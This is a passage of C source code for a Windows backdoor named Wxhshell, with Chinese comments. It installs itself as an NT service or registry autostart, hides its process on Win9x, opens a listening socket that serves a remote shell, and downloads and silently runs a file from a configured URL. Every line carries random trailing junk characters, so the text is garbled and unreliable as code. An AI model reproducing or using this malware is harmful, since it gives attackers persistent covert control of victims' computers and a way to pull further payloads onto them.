ULONG InheritedFromUniqueProcessId; rNrxaRQ
} PROCESS_BASIC_INFORMATION; )P%ZA)l%_o
lG9bLiFY
PROCNTQSIP NtQueryInformationProcess; eX?OYDDC0j
Tl%`P_J)-S
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EMh7z7}Rr
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ERUz3mjA/
]_Vx{oT7
HANDLE hProcess; hW%TM3l}
PROCESS_BASIC_INFORMATION pbi; t#V!8EpBg
6hw=
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |ax3sAg
if(NULL == hInst ) return 0; sGi"rg#
S
^"y4-2
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )SaGH3~*C
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?ME6+Z\
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hcgMZT!<5
9%k2'iV7
if (!NtQueryInformationProcess) return 0; zpzK>DH(
Cl5uS%g
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |WQBDB`W
if(!hProcess) return 0; ]q;Emy
@fHi\W2JG
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SOs:]U-T3
fX(3H1$"
CloseHandle(hProcess); Pnk5mK$
yg`j-9[8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {}>0e:51
if(hProcess==NULL) return 0; `n.5f[wC
%oF}HF.
HMODULE hMod; $I!XSz"/e
char procName[255]; c#XXp"7k2
unsigned long cbNeeded; !-z'2B*:^
1A?W:'N
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mf
A{3
tGD6AI1"I
CloseHandle(hProcess); i{Uc6R6
&Q%zl9g(g
if(strstr(procName,"services")) return 1; // 以服务启动 O%Scjm-^X
NiNM{[3oS
return 0; // 注册表启动 p?{Xu4(
} ED2a}Tt>Z
cW~}:;D4
// 主模块 }'5MK
int StartWxhshell(LPSTR lpCmdLine) dWM'fg
{ bo,_&4?
SOCKET wsl; rK@8/?y5
BOOL val=TRUE; vV'EZ?
int port=0; ob+b<HFv
struct sockaddr_in door; aB*Bz]5;E
5<iV2Hx
if(wscfg.ws_autoins) Install(); )mI 05
}Q)#[#e
port=atoi(lpCmdLine); OtY`@\hy
a Fc1|.Nm
if(port<=0) port=wscfg.ws_port; .4_o>D
A|CmlAW~^
WSADATA data; *]. 7dec/
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sW Qfr$^A
6~0$Z-);(
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; KLU-DCb%
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
jPC[_g
door.sin_family = AF_INET; u~r=)His
door.sin_addr.s_addr = inet_addr("127.0.0.1"); K#l:wH_
door.sin_port = htons(port); _ ?TN;
gMv.V{vD
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \@-@Y
closesocket(wsl); f"B3,6m
return 1; )) Zf|86N
} >lmi@UN|k
+ylTGSZS
if(listen(wsl,2) == INVALID_SOCKET) { PUz*!9HC
closesocket(wsl); Gn22<C/
return 1; E_gD:PPU5
} t![7uU.W
Wxhshell(wsl); fs|)l$Rd
WSACleanup(); UN7EF/!Zz
zUDg&-J3
return 0; V@\gS"Tu
'QG xd!4
} SIe="YG]<
/;{P}-H`ei
// 以NT服务方式启动 l+3[ KCE
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *xc_k"\
{ =31"fS@
DWORD status = 0; {.n"Z
DWORD specificError = 0xfffffff; +~St !QV%
2:*w~|6>}5
serviceStatus.dwServiceType = SERVICE_WIN32; ?J'Y&
serviceStatus.dwCurrentState = SERVICE_START_PENDING; |D'4uN8\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2;xIL]
serviceStatus.dwWin32ExitCode = 0; S,D8F&bg
serviceStatus.dwServiceSpecificExitCode = 0; "lQ*1.i
serviceStatus.dwCheckPoint = 0; ?M$.+V{a
serviceStatus.dwWaitHint = 0; 3NZK*!@'
s|@6S8E
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -)s qc
P
if (hServiceStatusHandle==0) return; d; [C6d
?8HHA:GP
status = GetLastError(); "-y-iJ
if (status!=NO_ERROR) <
|e,05aM
{ p$SX
serviceStatus.dwCurrentState = SERVICE_STOPPED; r)qnl9?;`]
serviceStatus.dwCheckPoint = 0; "vA}FV%tRq
serviceStatus.dwWaitHint = 0; jnd[6v=C7-
serviceStatus.dwWin32ExitCode = status; <DpevoF
serviceStatus.dwServiceSpecificExitCode = specificError; 8][nmjk0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X$%'
return; XV!6dh!
} }{M#EP8q+
kSC}aN'
serviceStatus.dwCurrentState = SERVICE_RUNNING; >AC]#'
serviceStatus.dwCheckPoint = 0; "X2 Vrn'
serviceStatus.dwWaitHint = 0; -\+s#kE:
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mrTlXXz
} A+HF@Uw}^
<Q$@r?Mu]
// 处理NT服务事件,比如:启动、停止 r[1i*b$
VOID WINAPI NTServiceHandler(DWORD fdwControl) :WQ^j!9'
{ ODZ5IO}v
switch(fdwControl) QS0:@.}$E)
{ g"Ljm7
case SERVICE_CONTROL_STOP: Gb"r|(!
serviceStatus.dwWin32ExitCode = 0; l|xZk4@_uE
serviceStatus.dwCurrentState = SERVICE_STOPPED; _a_7,bk5
serviceStatus.dwCheckPoint = 0; {-ZFp
serviceStatus.dwWaitHint = 0; Yaj0;Lo[wt
{ UYFwS/ RW}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [N1hWcfvd
} )_a~}
U]=.
return; Pf*^ZB%
case SERVICE_CONTROL_PAUSE: )S`jFQ1
serviceStatus.dwCurrentState = SERVICE_PAUSED; ktI/3Mb@
break; n 9\
C2r
case SERVICE_CONTROL_CONTINUE: tc_286'x
serviceStatus.dwCurrentState = SERVICE_RUNNING; D@G\7KH@
break; )64@2~4y
case SERVICE_CONTROL_INTERROGATE: BeCWa>54i
break; ^
K|;~}P
}; %R1 tJ( /
SetServiceStatus(hServiceStatusHandle, &serviceStatus); L Y6;.d$J
} =,%CLS,6w
3Uqr,0$p
// 标准应用程序主函数 -r#X~2tPzD
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z -,J)gW
{ KiRUvWqa
ur*T%b9&
// 获取操作系统版本 m7&O9?X
OsIsNt=GetOsVer(); ANvR i+ _
GetModuleFileName(NULL,ExeFile,MAX_PATH); y'FS/=u>0
|M8WyW
// 从命令行安装 0_k'.5l%
if(strpbrk(lpCmdLine,"iI")) Install(); XIvn_&d;G
W-Fu -Cz=
// 下载执行文件 ZPc@Zr`z
if(wscfg.ws_downexe) { aqYa{hXio
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
x8!ol2\`<
WinExec(wscfg.ws_filenam,SW_HIDE); c;{Q,"9U
} VmCW6
G#M
,\X@~j
if(!OsIsNt) { >a"Z\\dF
// 如果时win9x,隐藏进程并且设置为注册表启动 GQ*wc?f3
HideProc(); u4.ngjJ
StartWxhshell(lpCmdLine); *"WDb|PBb
} J\J?yo 6
else @)-sTgn
if(StartFromService()) !l_lo`)
// 以服务方式启动 Ad:TYpLD
StartServiceCtrlDispatcher(DispatchTable); .P.z B}0=
else tyfTU5"x
// 普通方式启动 1mfs4
StartWxhshell(lpCmdLine); {*[\'!d--.
994`ua+
return 0; %Rz&lh/
}